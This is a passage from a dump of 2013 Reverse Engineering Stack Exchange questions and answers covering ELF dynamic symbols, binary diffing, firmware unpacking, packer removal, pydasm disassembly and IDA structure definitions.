passed into the <code>parsed_dict</code> and then used to rename everything (back and forth). Implemented after compiling than decompiling the first time (after I noticd differences).</p>\n",
        "Title": "Why are there (sometimes major) differences between java source code and its decompiled result?",
        "Tags": "|decompilation|java|",
        "Answer": "<p>Your choice of decompiler can greatly affect the outcome. You should try either JODE, or Fernflower (which I believe goes by Androchef).</p>\n\n<p>Before decompiling, it might be a good idea to do some simple deobfuscation yourself. For example, you could try</p>\n\n<ul>\n<li><p>Remapping of Java keywords that have been used as class/method/variable names to legal Java identifiers. This task is very easy to do by using the Remapping adapters provided by the ASM library, <a href=\"http://asm.ow2.org/asm40/javadoc/user/org/objectweb/asm/commons/RemappingClassAdapter.html\" rel=\"nofollow\">http://asm.ow2.org/asm40/javadoc/user/org/objectweb/asm/commons/RemappingClassAdapter.html</a></p></li>\n<li><p>Some simple reorganization of blocks. Many obfuscators will stick gotos into awkward places that would be \"within a single expression\" in the Java source code, e.g. pushing something to the stack, then jumping, then storing it to a local variable in the destination is perfectly viable in bytecode, but understanding that the bytecode is simply doing var = value might give some decompilers a hard time.</p></li>\n</ul>\n"
    },
    {
        "Id": "2529",
        "CreationDate": "2013-07-23T14:13:21.980",
        "Body": "<p>Does any of you know of a recent tool to bindiff using ImmunityDebugger?\nI know about BinDiff by Zynamics and PatchDiff for IDA. But I really want a tool like this in ImmDBG. I also know about Radare's bindiffer and the feature in <code>mona.py</code> (but this is more with memory regions).</p>\n\n<p>Now I use a HexEditor and diff using this. Then I'll lookup the offset + base address using Immunity. This is not really feasible any more as I've recently started reversing bigger patches.</p>\n\n<p>(Just to be a complete reference, for Firmware Updates I use Binwalk. And you should too :)) </p>\n",
        "Title": "Reversing Patches (Binary Diffing)",
        "Tags": "|immunity-debugger|patch-reversing|bin-diffing|",
        "Answer": "<p>The answer lays within the comments, read Binary Diffing by Nicolas A. Economou (CoreImpact) 2009 to see why.</p>\n\n<p>Good Binary Diffing is in fact a way harder subject that does a lot more than compare bytes or bits. </p>\n\n<p>Making a Binary Diff with objdump and meld is really not the way to go. Read the CoreImpact document and it will show some of the issues with binary diffing.</p>\n"
    },
    {
        "Id": "2538",
        "CreationDate": "2013-07-26T16:39:41.280",
        "Body": "<p>I am looking at a windows library in IDA pro and I came across a function call <pre><code>BindW(ushort **, void **)</code></pre></p>\n\n<p>IDA pro adds the comments <em>Binding</em> and <em>StringBinding</em> respectively to the parameters when they are pushed.</p>\n\n<p>What is this function?</p>\n",
        "Title": "What is *BindW*?",
        "Tags": "|windows|",
        "Answer": "<p>It's an undocumented non-exported function. Hex-Rays output is:</p>\n\n<pre><code>RPC_STATUS __stdcall BindW(RPC_WSTR *StringBinding, RPC_BINDING_HANDLE *Binding)\n{\n  RPC_STATUS result; // eax@1\n\n  result = RpcStringBindingComposeW(0, L\"ncalrpc\", 0, L\"protected_storage\", 0, StringBinding);\n  if ( !result )\n    result = RpcBindingFromStringBindingW(*StringBinding, Binding);\n  return result;\n}\n</code></pre>\n"
    },
    {
        "Id": "2539",
        "CreationDate": "2013-07-26T17:24:18.553",
        "Body": "<p>I am currently looking at the ELF format, and especially at stripped ELF executable program files.</p>\n\n<p>I know that, when stripped, the symbol table is removed, but some information are always needed to link against dynamic libraries. So, I guess that there are other symbols that are kept whatever the executable has been stripped or not. </p>\n\n<p>For example, the dynamic symbol table seems to be always kept (actually this is part of my question). It contains all the names of functions coming from dynamic libraries that are used in the program.</p>\n\n<p>Indeed, taking a stripped binary and looking at the output of <code>readelf</code> on it will give you the following output:</p>\n\n<pre><code>Symbol table '.dynsym' contains 5 entries:\n Num:    Value          Size Type    Bind   Vis      Ndx Name\n 0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND \n 1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)\n 2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)\n 3: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__\n 4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND perror@GLIBC_2.2.5 (2)\n</code></pre>\n\n<p>My question is, what are all the symbol tables that the system always need to keep inside the executable file, even after a strip (and what are they used for) ?</p>\n\n<p>Another part of my question, would also be about how to use these dynamic symbols. Because, they are all pointing to zero and not to a valid address. You do we identify, as <code>objdump</code> does, their respective links to the code stored in the PLT. For example, in the following dump I got from <code>objdump -D</code>, we can see that the section <code>.plt</code> is split, I assume that this is thanks to symbols, into subsections corresponding to each dynamic function, I would like to know if this is coming from another symbol table that I do not know or if <code>objdump</code> rebuild this information (and, then, I would like to know how):</p>\n\n<pre><code>Disassembly of section .plt:\n\n0000000000400400 &lt;puts@plt-0x10&gt;:\n400400:       ff 35 6a 05 20 00       pushq  0x20056a(%rip)\n400406:       ff 25 6c 05 20 00       jmpq   *0x20056c(%rip)\n40040c:       0f 1f 40 00             nopl   0x0(%rax)\n\n0000000000400410 &lt;puts@plt&gt;:\n400410:       ff 25 6a 05 20 00       jmpq   *0x20056a(%rip)\n400416:       68 00 00 00 00          pushq  $0x0\n40041b:       e9 e0 ff ff ff          jmpq   400400 &lt;puts@plt-0x10&gt;\n\n0000000000400420 &lt;__libc_start_main@plt&gt;:\n400420:       ff 25 62 05 20 00       jmpq   *0x200562(%rip)\n400426:       68 01 00 00 00          pushq  $0x1\n40042b:       e9 d0 ff ff ff          jmpq   400400 &lt;puts@plt-0x10&gt;\n\n0000000000400430 &lt;__gmon_start__@plt&gt;:\n400430:       ff 25 5a 05 20 00       jmpq   *0x20055a(%rip)\n400436:       68 02 00 00 00          pushq  $0x2\n40043b:       e9 c0 ff ff ff          jmpq   400400 &lt;puts@plt-0x10&gt;\n\n0000000000400440 &lt;perror@plt&gt;:\n400440:       ff 25 52 05 20 00       jmpq   *0x200552(%rip)\n400446:       68 03 00 00 00          pushq  $0x3\n40044b:       e9 b0 ff ff ff          jmpq   400400 &lt;puts@plt-0x10&gt;\n</code></pre>\n\n<p><strong>Edit</strong>: Thanks to Igor's comment, I found the different offsets allowing to rebuild the information in <code>.rela.plt</code> (but, what is <code>.rela.dyn</code> used for ?).</p>\n\n<pre><code>Relocation section '.rela.dyn' at offset 0x368 contains 1 entries:\n  Offset          Info           Type           Sym. Value    Sym. Name + Addend\n000000600960  000300000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0\n\nRelocation section '.rela.plt' at offset 0x380 contains 4 entries:\n  Offset          Info           Type           Sym. Value    Sym. Name + Addend\n000000600980  000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts + 0\n000000600988  000200000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main + 0\n000000600990  000300000007 R_X86_64_JUMP_SLO 0000000000000000 __gmon_start__ + 0\n000000600998  000400000007 R_X86_64_JUMP_SLO 0000000000000000 perror + 0\n</code></pre>\n",
        "Title": "What symbol tables stay after a strip In ELF format?",
        "Tags": "|elf|dynamic-linking|",
        "Answer": "<p>To answer to this question, we have first to rephrase it a bit. The real question can be stated like this: </p>\n\n<blockquote>\n  <p><em>What are the symbols that cannot be removed from an ELF binary file ?</em></p>\n</blockquote>\n\n<p>Indeed, <code>strip</code> removes quite a bit of information from the ELF file, but it could do a bit more (see the option <code>--strip-unneeded</code> from <code>strip</code> or the program <a href=\"http://www.muppetlabs.com/~breadbox/software/elfkickers.html\"><code>sstrip</code></a> for more about this). So, my original question was more about what symbols can be assumed to be in the executable file whatever modifications have been made on the ELF file.</p>\n\n<p>In fact, there is only one type of symbols that you need to keep whatever happen, we call it <strong>dynamic symbols</strong> (as opposed at <em>static symbols</em>). They are a bit different from the static ones because we never know in advance where they will be pointing to in memory. Indeed, as they are supposed to point to external binary objects (libraries, plugin), the binary blob is dynamically loaded in memory while the process is running and we cannot predict at what address it will be located.</p>\n\n<p>If the static symbols are stored in the <code>.symbtab</code> section, the dynamic ones have their own section called <code>.dynsym</code>. They are kept separate to ease the operation of <strong>relocation</strong> (the operation that will give a precise address to each dynamic symbol). The relocation operation also relies on two extra tables which are namely: </p>\n\n<ul>\n<li><code>.rela.dyn</code> : Relocation for dynamically linked objects (data or procedures), if PLT is not used.</li>\n<li><code>.rela.plt</code> : List of elements in the PLT (Procedure Linkage Table), which are liable to the relocation during the dynamic linking (if PLT is used).</li>\n</ul>\n\n<p>Somehow, put all together, <code>.dynsym</code>, <code>.rela.dyn</code> and <code>.rela.plt</code> will allow to patch the initial memory (<em>i.e.</em> as mapped in the ELF binary), in order for the dynamic symbols to point to the right object (data or procedure).</p>\n\n<p>Just to illustrate a bit more the process of relocation of dynamic symbols, I built examples in i386 and amd64 architectures.</p>\n\n<h2>i386</h2>\n\n<pre><code>Symbol table '.dynsym' contains 6 entries:\n   Num:    Value  Size Type    Bind   Vis      Ndx Name\n     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND \n     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND perror@GLIBC_2.0 (2)\n     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)\n     3: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__\n     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)\n     5: 080484fc     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_used\n\n\nRelocation section '.rel.dyn' at offset 0x28c contains 1 entries:\n Offset     Info    Type            Sym.Value  Sym. Name\n08049714  00000306 R_386_GLOB_DAT    00000000   __gmon_start__\n\nRelocation section '.rel.plt' at offset 0x294 contains 4 entries:\n Offset     Info    Type            Sym.Value  Sym. Name\n08049724  00000107 R_386_JUMP_SLOT   00000000   perror\n08049728  00000207 R_386_JUMP_SLOT   00000000   puts\n0804972c  00000307 R_386_JUMP_SLOT   00000000   __gmon_start__\n08049730  00000407 R_386_JUMP_SLOT   00000000   __libc_start_main\n</code></pre>\n\n<h2>amd64</h2>\n\n<pre><code>Symbol table '.dynsym' contains 5 entries:\n   Num:    Value          Size Type    Bind   Vis      Ndx Name\n     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND \n     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)\n     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)\n     3: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__\n     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND perror@GLIBC_2.2.5 (2)\n\n\n\nRelocation section '.rela.dyn' at offset 0x368 contains 1 entries:\n  Offset          Info           Type           Sym. Value    Sym. Name + Addend\n000000600960  000300000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0\n\nRelocation section '.rela.plt' at offset 0x380 contains 4 entries:\n  Offset          Info           Type           Sym. Value    Sym. Name + Addend\n000000600980  000100000007 R_X86_64_JUMP_SLOT 0000000000000000 puts + 0\n000000600988  000200000007 R_X86_64_JUMP_SLOT 0000000000000000 __libc_start_main + 0\n000000600990  000300000007 R_X86_64_JUMP_SLOT 0000000000000000 __gmon_start__ + 0\n000000600998  000400000007 R_X86_64_JUMP_SLOT 0000000000000000 perror + 0\n</code></pre>\n\n<p>A few interesting web pages and articles about dynamic linking:</p>\n\n<ul>\n<li><a href=\"http://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html\">PLT and GOT - the key to code sharing and dynamic libraries</a>;</li>\n<li><a href=\"http://www.technovelty.org/linux/stripping-shared-libraries.html\">Stripping shared libraries</a>;</li>\n<li><a href=\"http://www.codeproject.com/Articles/70302/Redirecting-functions-in-shared-ELF-libraries\">Redirecting functions in shared ELF libraries</a>;</li>\n<li><a href=\"http://fluxius.handgrep.se/2011/10/20/the-art-of-elf-analysises-and-exploitations/\">The Art Of ELF: Analysis and Exploitations</a>;</li>\n<li><a href=\"http://bottomupcs.sourceforge.net/csbu/x3824.htm\">Global Offset Tables</a>;</li>\n</ul>\n"
    },
    {
        "Id": "2548",
        "CreationDate": "2013-07-28T00:05:01.357",
        "Body": "<p>Where I can find such information? I've already read the undocumented windows 2000 secrets explanation of it but it isn't complete. For example the 3rd stream format isn't explained. I have looked at <a href=\"https://code.google.com/p/pdbparser/\" rel=\"nofollow\">this</a>, where some general info about the streams is given but nothing more.</p>\n",
        "Title": "PDB v2.0 File Format documentation",
        "Tags": "|file-format|pdb|",
        "Answer": "<p>Here is something directly from Microsoft.</p>\n\n<p><a href=\"https://github.com/Microsoft/microsoft-pdb\">https://github.com/Microsoft/microsoft-pdb</a></p>\n"
    },
    {
        "Id": "2552",
        "CreationDate": "2013-07-28T17:27:08.943",
        "Body": "<p>As I am just getting started in RE, I've mostly faced files packed with a single-layer of packing , such as UPX, ASPack, etc.</p>\n\n<p>Unpacking these protections is fully documented online. The problem begins when I deal with <strong>multiple layers of packing</strong>, especially concerning malware. I have followed some tutorials though they're usually not detailed enough. They seem to go through a <strong>tedious process</strong> to find the OEP. For example, they start by dealing with common packers (which is the easy part) and then they begin to set breakpoints everywhere \"<strong>in calls and jumps</strong>\" and tracing through the file here and there, which is for me the <strong>hard part</strong> that I have described above. At this point, I have no clue for what they are seeking or for what they are aiming, and then after some work, they find the OEP!  </p>\n\n<p>So what logic did they follow in that process? Also, because I know that the subject is broad, I'm also interested in some keywords.</p>\n",
        "Title": "How to unpack files packed with multiple packers?",
        "Tags": "|malware|unpacking|",
        "Answer": "<p>To Unpack a file you must have quite a lot of experience in reversing binaries..</p>\n\n<p>Remember there exists no universal method that works for all the packers.</p>\n\n<p>These steps will work in unpacking 97% of binaries;</p>\n\n<ol>\n<li>You must be aware of the code that usually lies at the start of entry point in binaries compiled by well known compilers VC++, VB, Borland Delphi and other compilers. You should also be aware of the difference in code near entry point in binaries compiled in different compiler versions. This will eventually help you in finding the OEP.</li>\n<li>You must have abundance patience to follow all the virtual memory allocation and virtual memory freeing.</li>\n<li>Dump the memory blocks and look for visible strings after execution of a decryption code.</li>\n<li>Learn about debugger detection, virtual environment detection and anti-debugging techniques.</li>\n<li>Start with simple packers at first. I will recommend you to try UPX older versions.</li>\n<li>Last but not the least \"Play with your favorite debugger at-least for 14 hours a day.\"</li>\n</ol>\n\n<p>All the best and Happy reversing!!!</p>\n"
    },
    {
        "Id": "2557",
        "CreationDate": "2013-07-29T16:48:39.017",
        "Body": "<p>I'm trying to unpack this firmware image but I'm getting some issues understanding the structure.</p>\n\n<p>First of all I have one image which I called firmware.bin, and the file command shows me that it's a LIF file:</p>\n\n<pre><code>firmware.bin: lif file\n</code></pre>\n\n<p>After that I analyze it with binwalk:</p>\n\n<pre><code>DECIMAL     HEX         DESCRIPTION\n-------------------------------------------------------------------------------------------------------\n84992       0x14C00     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 65616, compressed size: 16606, uncompressed checksum: 0xBA2A, compressed checksum: 0x913E, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0\n85043       0x14C33     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65616 bytes\n128002      0x1F402     GIF image data, version 8\"9a\", 200 x 50\n136194      0x21402     GIF image data, version 8\"7a\", 153 x 55\n349184      0x55400     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 3113824, compressed size: 733298, uncompressed checksum: 0x3B9C, compressed checksum: 0xBBBA, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0\n349235      0x55433     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3113824 bytes\n</code></pre>\n\n<p>As you can see there are 2 LZMA, 2 ZynOS (LZMA also once cut) and 2 images. Once I extract the LZMA I uncompress it and the first one is a single binary, but the second one is another LZMA file with 127 files in it, and each one of those files have a lot of new files inside.</p>\n\n<p><img src=\"https://i.stack.imgur.com/l7AbK.png\" alt=\"File content sample\"></p>\n\n<p>I guess that I'm not following the correct steps to unpack it, so I'm wondering how could I get the main filesystem clean?.</p>\n",
        "Title": "Unpack Billion 5102 firmware",
        "Tags": "|firmware|unpacking|mips|",
        "Answer": "<p>The output from the file utility, as you've probably guessed, is a false positive. The beginning of the firmware.bin file contains what looks to be a basic header (note the \"SIG\" string near the beginning of the file), and a bunch of MIPS executable code, which is likely the bootloader:</p>\n\n<pre><code>DECIMAL         HEX             DESCRIPTION\n-------------------------------------------------------------------------------------------------------------------\n196             0xC4            MIPS instructions, function epilogue\n284             0x11C           MIPS instructions, function epilogue\n372             0x174           MIPS instructions, function epilogue\n388             0x184           MIPS instructions, function epilogue\n416             0x1A0           MIPS instructions, function epilogue\n424             0x1A8           MIPS instructions, function prologue\n592             0x250           MIPS instructions, function epilogue\n712             0x2C8           MIPS instructions, function epilogue\n720             0x2D0           MIPS instructions, function prologue\n832             0x340           MIPS instructions, function epilogue\n840             0x348           MIPS instructions, function prologue\n912             0x390           MIPS instructions, function epilogue\n920             0x398           MIPS instructions, function prologue\n976             0x3D0           MIPS instructions, function epilogue\n984             0x3D8           MIPS instructions, function epilogue\n1084            0x43C           MIPS instructions, function epilogue\n1192            0x4A8           MIPS instructions, function epilogue\n1264            0x4F0           MIPS instructions, function epilogue\n...\n</code></pre>\n\n<p>Running strings on the firmware.bin binary seems backup this hypothesis, with many references to checksum and decompression errors:</p>\n\n<pre><code>checksum error! (cal=%04X, should=%04X)\n     signature error!\n     (Compressed)\nstart: %p\n     unmatched objtype between memMapTab and image!\n     Length: %X, Checksum: %04X\n     Version: %s, \n     Compressed Length: %X, Checksum: %04X\nmemMapTab Checksum Error! (cal=%04X, should=%04X)\nmemMapTab Checksum Error!\n%3d: %s(%s), start=%p, len=%X\n%s Section:\nmemMapTab: %d entries, start = %p, checksum = %04X\n$USER Section:\nsignature error!\nROMIO image start at %p\ncode length: %X\ncode version: %s\ncode start: %p\nDecompressed image Error!\nDecompressed image Checksum Error! (cal=%04X, should=%04X)\nROM length(%X) &gt; RAM length (%X)!\nCan't find %s in $ROM section.\nCan't find %s in $RAM section.\nRasCode\n</code></pre>\n\n<p>A quick examination of the strings in the two decompressed LZMA files you found shows that the smaller one (at offset 0x14C33) appears to contain some debug interface code, likely designed to be accessed via the device's UART:</p>\n\n<pre><code>                        UART INTERNAL  LOOPBACK TEST\n                        UART EXTERNAL  LOOPBACK TEST\nERROR\n======= HTP Command Listing =======\n&lt; press any key to continue &gt;\n macPHYCtrl.value=\n                        MAC INTERNAL LOOPBACK TEST \n                        MAC EXTERNAL LOOPBACK TEST \n                        MAC INTERNAL LOOPBACK \n                        MAC EXTERNAL LOOPBACK \n LanIntLoopBack ...\nTx Path Full, Drop packet:%d\n0x%08x\ntx descrip %d:\nrx descrip %d:\n%02X \n%08X: \n&lt; Press any key to Continue, ESC to Quit &gt;\n0123456789abcdefghijklmnopqrstuvwxyz\n0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\n&lt;NULL&gt;\n) Register Dump *****\n***** ATM SAR Module: VC(\nReset&amp;Identify reg   = \nTraffic Sched. TB reg= \nTX Data ctrl/stat reg= \nRX Data ctrl/stat reg= \nLast IRQ Status reg  = \nIRQ Queue Entry len  = \nVC IRQ Mask register = \nTX Data Current descr= \nRX Data Current descr= \nTX Traffic PCR       = \nTX Traffic MBS/Type  = \nTX Total Data Count  = \nVC IRQ CC Mask reg   = \nTX CC Current descr  = \nTX CC Total Count    = \nRX Miss Cell Count   = \n***** ATM SAR Module: Common Register Dump *****\n</code></pre>\n\n<p>The second larger file (at offset 0x55433) appears to contain the ThreadX RTOS, by Green Hills:</p>\n\n<pre><code>RTA231CV Reserved String\nanonymous\nwww.huawei.com\n1000\ntc-e4f6ed2f5b87&lt;\nMSFT 5.07\nuser&lt;\nMSFT 5.07\nLXT972\n\"AC101L\nCIP101\nRTL8201\nCAC201\njjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj\njjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj\njjjjjjjj\njjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj\njjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj\njjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj\njjjjjjjj\njjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj\nSystem Timer Thread\nCopyright (c) 1996-2000 Express Logic Inc. * ThreadX R3900/Green Hills Version G3.0f.3.0b *\n</code></pre>\n\n<p>If you aren't familiar with RTOS's, they typically are just one big kernel with no concept of user space vs kernel space or what you would think of as a normal file system, although they will contain things like images and HTML files for this device's Web interface (see <a href=\"http://www.devttys0.com/2011/06/mystery-file-system/\" rel=\"nofollow\">here</a> for an example of how these types of files are stored/accessed in some VxWorks systems). </p>\n\n<p>I'd say that you already pretty much have this firmware extracted into its basic parts. To further analyze the bootloader or the two extracted LZMA files, you will need to start disassembling those files, which entails determining the memory address where they are loaded at boot time, identifying code/data sections, looking for possible symbol tables, identifying common functions, and probably writing some scripts to help with all of the above.</p>\n"
    },
    {
        "Id": "2586",
        "CreationDate": "2013-08-05T08:51:07.677",
        "Body": "<p>You must have heard about it, it all over the on-line newspapers. Some researchers from UCLA claims to have achieved a <a href=\"http://newsroom.ucla.edu/portal/ucla/ucla-computer-scientists-develop-247527.aspx\">breakthrough in software obfuscation</a> through 'mathematical jigsaw puzzles'. </p>\n\n<p>Their <a href=\"http://eprint.iacr.org/2013/451.pdf\">scientific paper</a> can be found on <a href=\"http://eprint.iacr.org/2013/451\">IACR eprint website</a>.</p>\n\n<p>Can someone sum-up what is really the content of the paper (and does is really worth it) ?</p>\n",
        "Title": "What is this 'mathematical jigsaw puzzles' obfuscation?",
        "Tags": "|obfuscation|cryptography|whitebox-crypto|",
        "Answer": "<p>I still wonder should I add a comment on this because my knowledge on the cryptography is extremely limited. The paper on the jigsaw obfuscation uses a term named <em>functional encryption</em>, that means with the private key in hand the obfuscator can design some functions working on the encrypted data. And someone without the private key can use these functions on the encrypted data, but still know nothing about the data. </p>\n\n<p>For example, the obfuscator designs a function plus1 satisfying: </p>\n\n<blockquote>\n  <p>plus1(encrypted(x)) = encrypted(x+1)</p>\n</blockquote>\n\n<p>the attacker will know that if he uses plus1, he can increase x by 1, but he does not know anything about the value of x. </p>\n\n<p>Now with the jigsaw obfuscation, given a program P with some input a, the obfuscator will encrypt the obfuscated program p as p = encrypt(P), then design a function F with input is some pair (p, a) satisfying: </p>\n\n<blockquote>\n  <p>F(p,a) = decrypt(p)(a) = P(a)</p>\n</blockquote>\n\n<p>(note that F satisfies the equivalence above but the design of F is not trivial like that), and that means the attacker can always use F and p to get the output P(a), but he does not know anything about P.</p>\n"
    },
    {
        "Id": "2587",
        "CreationDate": "2013-08-05T09:58:08.400",
        "Body": "<p>I'm trying to load a CGI file to IDA in order to disassemble it and understand it's behaviour but I can't do it.</p>\n\n<p>According to the strings command I can see some interesting words like system, sprintf, etc. And I know it's a MIPS file, But I'm not able to get something comprehensible in IDA.</p>\n\n<p>Could anyone guide me to achieve this?\nRegards. </p>\n",
        "Title": "How to reverse CGI file for MIPS?",
        "Tags": "|ida|firmware|radare2|mips|",
        "Answer": "<p>Expanding on my comment:</p>\n\n<p>The Freeware IDA Pro doesn't support MIPS, so you won't be able to use it. If you can't use the paid versions of IDA, there are <a href=\"https://reverseengineering.stackexchange.com/questions/1817/is-there-any-disassembler-second-to-ida\">free alternatives</a>.</p>\n\n<p>As an example, using <code>radare2</code> as an example, on the Debian MIPS <code>binutils</code> port:</p>\n\n<pre><code>$ file bin/objdump \nbin/objdump: ELF 32-bit MSB  executable, MIPS, MIPS-II version 1 (SYSV), \ndynamically linked (uses shared libs), for GNU/Linux 2.6.26,\nBuildID[sha1]=d1d228509874377d7339cfd5b2f15db020e53b7b, stripped\n</code></pre>\n\n<p>Following <a href=\"http://radare.org/y/?p=examples&amp;f=graph\" rel=\"nofollow noreferrer\">this example</a>, we get something like this:</p>\n\n<pre><code>[0x00403300]&gt; af@sym.main\n[0x00403300]&gt; ag &gt; foo.dot\nfoo.dot created\n[0x00403300]&gt; !dot -Tpdf -o foo.pdf foo.dot\n[0x00403300]&gt; !open foo.pdf\n</code></pre>\n\n<p><img src=\"https://i.stack.imgur.com/f0Goi.png\" alt=\"Part of the graph\"></p>\n\n<p>Note that the PDF this churns out is enormous, so you might want to just use <code>pdf</code> instead of <code>ag</code> produce textual output rather than <code>dot</code> files.</p>\n"
    },
    {
        "Id": "2590",
        "CreationDate": "2013-08-05T15:17:50.767",
        "Body": "<p>What does the dollar symbol mean in</p>\n\n<pre><code>jz $+2\n</code></pre>\n\n<p>(This is IDA output.)</p>\n",
        "Title": "What does `jz $+2` do? (jump if zero to dollar plus two)",
        "Tags": "|disassembly|ida|assembly|",
        "Answer": "<p>Jump two bytes forward from current position when zero flag == NULL \nOpcode for this <code>74 00</code> which is two bytes </p>\n\n<pre><code>seg000:00000000 74 00                    jz      short $+2\nseg000:00000002 74 00                    jz      short $+2\n</code></pre>\n\n<p>so effectively it will jump to next instruction whether the condition is met or not \ngarbage mostly used in obfuscation </p>\n"
    },
    {
        "Id": "2596",
        "CreationDate": "2013-08-06T21:05:43.440",
        "Body": "<p>How to disassemble first 200 bytes of an executable code using <a href=\"https://code.google.com/p/libdasm/\" rel=\"nofollow\">pydasm library</a> in Python?\nI want to know how to set size of buffer to disassemble it.</p>\n",
        "Title": "Pydasm: Disassembling limited length executable shellcode",
        "Tags": "|disassembly|python|disassemblers|shellcode|",
        "Answer": "<p>Slightly modified version from pydasm's <a href=\"https://code.google.com/p/libdasm/source/browse/trunk/pydasm/README.txt?r=2\">README.txt</a></p>\n\n<pre><code>import pydasm\nimport binascii\n\n# Open, and read 200 bytes out of the file,\n# while converting buffer to hex string\nwith open('file.bin','r') as f:\n    buffer = binascii.hexlify(f.read(200))\n\n\n# Iterate through the buffer and disassemble \noffset = 0\nwhile offset &lt; len(buffer):\n   i = pydasm.get_instruction(buffer[offset:], pydasm.MODE_32)\n   print pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, 0)\n   if not i:\n     break\n   offset += i.length\n</code></pre>\n\n<p>ADDED:</p>\n\n<p>You also can play with <code>seek()</code> to go to certain position of the file, and then read from there. It is particular useful if you want to read shellcode embedded into some file and you know relative position. You will have to <code>open()</code> the file with \"b\" option for it to work. Consult <a href=\"http://docs.python.org/release/2.4.4/lib/bltin-file-objects.html\">Python File Object Library Reference</a> for details.</p>\n"
    },
    {
        "Id": "2610",
        "CreationDate": "2013-08-10T00:42:12.860",
        "Body": "<p>When reversing shellcode, we see the PEB walk fairly often at various stages. I am curious however, if there is any pre-defined standard structure for this in IDA? If so, what is it called? After looking and googling around I haven't been able to find anything. I would also be very interested in definitions for PEB_LDR_DATA and RTL_USER_PROCESS_PARAMETERS.</p>\n\n<p>I could create them myself and export them somehow (would have to figure out how). But before doing that I am really curious if there is just something I am missing amongst the standard structure definitions in IDA.</p>\n",
        "Title": "Structure Definitions for PEB in IDA",
        "Tags": "|ida|shellcode|",
        "Answer": "<p>if you are using <code>IDA FREE</code> then this and several other type libraries are not available </p>\n\n<p>and if you intend to </p>\n\n<pre><code>create them yourself and export them somehow (would have to figure out how). \n</code></pre>\n\n<p>this walk through provides few hints on how to accomplish it</p>\n\n<p>os winxp sp3 vm </p>\n\n<pre><code>(all opaque structures like EPROCESS can vary from os to os / hotfix to hotfix patch tuesday to patch tuesday )\n</code></pre>\n\n<p>supposing you are reversing PsGetProcessId() in ntkrnlpa.exe </p>\n\n<pre><code>                  ; Exported entry 872. PsGetProcessId    \n                  ; Attributes: bp-based frame    \n                  ; __stdcall PsGetProcessId(x)\n                  public _PsGetProcessId@4\n                  _PsGetProcessId@4 proc near\n8B FF             mov     edi, edi\n55                push    ebp\n8B EC             mov     ebp, esp\n8B 45 08          mov     eax, [ebp+8]\n8B 80 84 00 00 00 mov     eax, [eax+84h] &lt;-----\n5D                pop     ebp\nC2 04 00          retn    4\n                  _PsGetProcessId@4 endp\n</code></pre>\n\n<p>and you find out 84 is EPROCESS->Pid and want to impart this information to the disassembly</p>\n\n<p>make a text file named <code>EPROCESS.h</code> </p>\n\n<p>type the following in the text file and save it for accessing it later</p>\n\n<pre><code>typedef struct EPROCESS \n{\n  BYTE unknown[0x84];\n  DWORD Pid;\n} EPROCESS, *EPROCESS;\n</code></pre>\n\n<p>go to <code>ida free -&gt;File-&gt;Load File-&gt;Parse Header File</code> or shortcut <code>ctrl+f9</code>\nbrowse to the <code>EPROCESS.h</code> </p>\n\n<p>you should see this is <code>ida information window</code> on being successful</p>\n\n<pre><code>The initial autoanalysis has been finished.\nC:\\Documents and Settings\\Admin\\Desktop\\EPROCESS.h: `successfully compiled`\n</code></pre>\n\n<p>view-><code>open subviews-&gt;structures</code> or shortcut <code>shift+f9</code>\npress <code>insert</code> key click <code>add standard structure</code> start typing <code>peb</code> and you should see the window scrolling and showing you the  structure you just added</p>\n\n<pre><code>00000000 EPROCESS        struc ; (sizeof=0x88, standard type)\n00000000 unknown         db 132 dup(?)\n00000084 Pid             dd ?\n00000088 EPROCESS        ends\n</code></pre>\n\n<p>go to idaview select <code>84h</code> / <code>right click-&gt;select structure offset</code></p>\n\n<p>and apply the <code>Eprocess.Pid</code> </p>\n\n<p>disassembly will become a bit more readable</p>\n\n<pre><code>8B 80 84 00 00 00 mov     eax, [eax+EPROCESS.Pid]\n</code></pre>\n\n<p>start adding other discovered offset to this eprocess.h and load it again for updated \nstructure definitions</p>\n\n<p>many of the structures definitions can be viewed via 